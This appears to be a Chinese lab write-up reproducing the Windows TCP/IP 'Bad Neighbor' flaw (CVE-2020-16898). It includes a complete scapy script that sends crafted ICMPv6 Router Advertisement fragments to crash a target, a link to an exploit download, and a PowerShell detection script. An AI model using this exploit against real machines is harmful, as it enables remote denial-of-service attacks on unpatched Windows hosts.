标签:ipv6地址 远程代码执行 index 数据 href 因此 保护 tcpip 描述
EXP/POC看文末
CVE-2020-16898,又称“Bad Neighbor”
Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。
漏洞描述
当 Windows TCP/IP 堆栈不正确地处理使用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行漏洞。在此选项中,长度以8字节的增量计算,因此长度为3的 RDNSS 选项的总长度应该为24字节。该选项本身包含五个字段: IPv6递归 DNS 服务器的类型、长度、保留、生存期和地址。前四个字段总共是8字节,但是最后一个字段可以包含不同数量的 IPv6地址,每个地址16字节。因此,根据 RFC 8106,长度字段应该始终是一个至少为3的奇数值
具体可看:原理简述
网络环境开启ipv6支持。这里使用vmware,NAT出一个子网,并开启ipv6支持。
选取一个受影响版本的windows10镜像,安装在虚拟机里。
打开IPv6地址。
1.利用条件
tcpip.sys
的GS保护机制2. 利用过程
attacker直接发送特制的ICMPv6路由广播数据包给target:
[ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]
3. 攻击向量
建立连接后,利用IPv6直接发送攻击数据包即可。
1.执行ipconfig,查看IPv6地址:
2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”
3.攻击者和目标主机通信
执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。
4.攻击机中python为3.7+ ,并且安装了scapy
5.漏洞利用
这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。
CVE-2020-16898-exp1.py:
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103" #根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12" #攻击者的本地ipv6地址
p_test_half = ‘A‘.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + ‘A‘.encode()*4
c = ICMPv6NDOptEFA()
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / Raw(load=‘A‘.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ IPv6ExtHdrFragment()/pkt
l=fragment6(p_test_frag, 200)
for p in l:
send(p)
执行:
python3 CVE-2020-16898-exp1.py
执行这个脚本,可以看到虚拟机被打蓝屏了。如下:
可以wirkshark选择对应的虚拟网卡进行抓包查看
大概如下(我的wirkshark有点问题,套用大佬的截图):
目测红框下的Router Advertisement是最核心的包,
条件:能和目标通信,知道目标的本地链接IPv6地址
使用
修改代码中的dst参数为目标的本地链接IPv6地址
然后攻击机执行
python3 CVE-2020-16898-exp2.py即可
在github上找了个powershell脚本,可以检测windows10是否存在这个漏洞,大体看了下是基于版本和配置检测的,用powershell获取配置,如果开启了 基于RA的DNS配置(RFC6106),并且win10发行版本大于1707,就存在这个漏洞。
Function Get-IPv6InterfaceParams($interface)
{
$Output = netsh int ipv6 sh interfaces interface=$interface
$windows_version = Check_windows_version
$release_id = Check_release_id
$Object = New-Object -Type PSObject
$Output | Where {$_ -match ‘^([^:]+):\s*(\S.*)$‘ } | Foreach {
[int]$ParseResult = 0
if ([int]::TryParse($Matches[2], [ref]$ParseResult))
{
$Value = $ParseResult
}
else
{
$Value = $Matches[2]
}
$Name = $Matches[1] -replace ‘ ‘
$Object | Add-Member -Type NoteProperty -Name $Name -Value $Value
}
$filter = $Object | where ‘基于RA的DNS配置(RFC6106)‘ -eq enabled | Select-Object IfLuid,IfIndex,‘基于RA的DNS配置(RFC6106)‘
#Write-Output $filter
$interfs = $filter | Select-Object -ExpandProperty IfIndex
if ($interfs -and $windows_version -like "*10*" -and $release_id -gt 1707) {
Write-Host "Windows vulnerable version" $windows_version $release_id -BackgroundColor Red
Write-Host "Vulnerable interface:" -BackgroundColor Red
foreach ($interf in $interfs) {
netsh int ipv6 sh int $interf
}
}else {
"No Vulnerable interfaces"
}
}
Function Check_release_id {
$output = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ReleaseId).ReleaseId
return $output
}
Function Check_windows_version {
$output = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ProductName).ProductName
return $output
}
$up_interfaces = Get-NetAdapter | where status -eq ‘up‘ | Select-Object -ExpandProperty ifIndex
foreach ($interface in $up_interfaces) {
Get-IPv6InterfaceParams($interface)
}
执行:
> Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1
https://zhuanlan.zhihu.com/p/265755647
https://bbs.pediy.com/thread-262707.htm#msg_header_h3_10
EXP&POC下载及使用方法:https://github.com/komomon/CVE-2020-16898
参考:https://blog.csdn.net/hsj_csdn/article/details/109138162
【复现】CVE-2020-16898 TCP/IP远程代码执行漏洞
标签:ipv6地址 远程代码执行 index 数据 href 因此 保护 tcpip 描述
原文地址:https://www.cnblogs.com/forforever/p/13846077.html